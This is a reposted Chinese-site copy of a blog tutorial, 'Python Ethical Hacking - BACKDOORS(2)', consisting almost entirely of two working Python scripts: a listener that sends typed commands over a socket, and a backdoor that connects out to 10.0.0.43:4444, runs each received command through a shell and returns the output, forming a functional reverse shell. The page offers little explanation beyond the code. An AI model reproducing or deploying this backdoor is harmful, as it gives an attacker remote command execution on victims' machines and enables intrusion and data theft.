码迷,mamicode.com
首页 > 编程语言 > 详细

Python Ethical Hacking - BACKDOORS(2)

时间:2019-10-05 18:09:53      阅读:81      评论:0      收藏:0      [点我收藏+]

标签:output   nec   enc   process   技术   socket   info   while   address   

Refactoring - Creating a Listener Class

#!/usr/bin/env python
import socket


class Listener:
    def __init__(self, ip, port):
        listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        listener.bind((ip, port))
        listener.listen(0)
        print("[+] Waiting for incoming connections")
        self.connection, address = listener.accept()
        print("[+] Got a connection from " + str(address))

    def execute_remotely(self, command):
        self.connection.send(command)
        return self.connection.recv(1024).decode()

    def run(self):
        while True:
            command = input(">> ").encode()
            result = self.execute_remotely(command)
            print(result)


my_listener = Listener("10.0.0.43", 4444)
my_listener.run()

 

Creating a Backdoor class:

#!/usr/bin/env python
import socket
import subprocess


class Backdoor:
    def __init__(self, ip, port):
        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connection.connect((ip, port))

    def execute_system_command(self, command):
        return subprocess.check_output(command, shell=True)

    def run(self):
        while True:
            command = self.connection.recv(1024).decode()
            command_result = self.execute_system_command(command)
            self.connection.send(command_result)
        connection.close()


my_backdoor = Backdoor("10.0.0.43", 4444)
my_backdoor.run()

技术图片

 

Python Ethical Hacking - BACKDOORS(2)

标签:output   nec   enc   process   技术   socket   info   while   address   

原文地址:https://www.cnblogs.com/keepmoving1113/p/11625175.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!